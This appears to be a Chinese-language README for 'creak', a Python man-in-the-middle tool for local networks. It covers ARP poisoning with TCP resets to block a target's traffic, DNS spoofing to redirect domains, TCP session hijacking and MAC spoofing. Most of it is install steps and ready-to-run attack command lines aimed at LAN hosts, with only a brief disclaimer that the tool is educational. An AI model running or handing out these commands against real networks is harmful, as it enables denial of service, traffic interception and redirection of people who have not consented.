对局域网中的目标地址执行一些最著名的中间人(MITM)攻击。其中包括:通过执行ARP投毒攻击并向路由器发出的每个请求发送重置TCP数据包,从而拒绝目标主机的浏览和下载能力。 该项目最初是为学习Python语言而创建的教学项目。对于任何滥用、包括恶意或非法使用此代码的行为,我不承担任何责任。
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
或者直接克隆仓库,并在安装所有依赖后运行 creak.py:
$ git clone https://github.com/codepr/creak.git
必须安装用于原始数据包操作的 pcap 库和 dpkt 模块;对于DNS欺骗选项,还需要安装来自 libdnet 包的 dnet 模块,不要将其与 pydnet(网络评估工具)模块混淆。
如果需要,也可以使用 scapy,只需在 config 文件的 [output] > ENGINE 部分进行设置即可。
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
最基本的用法: 拒绝目标主机的所有流量
$ python creak.py -t 192.168.1.30 wlan0
设置不同的网关:
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
为设备设置不同的MAC地址:
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
通过生成假的MAC地址进行欺骗:
$ python creak.py -x -t 192.168.1.30 wlan0
基于制造商(例如Xeros)生成MAC地址进行欺骗:
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
使用假的MAC地址进行DNS欺骗,将ab.xy重定向到cd.xz(例如localhost):
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
拒绝子网中的多个主机:
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
参见 CHANGELOG 文件。
Scapy 支持(已开始)有关许可权利和限制(GNU v3),请参见 LICENSE 文件。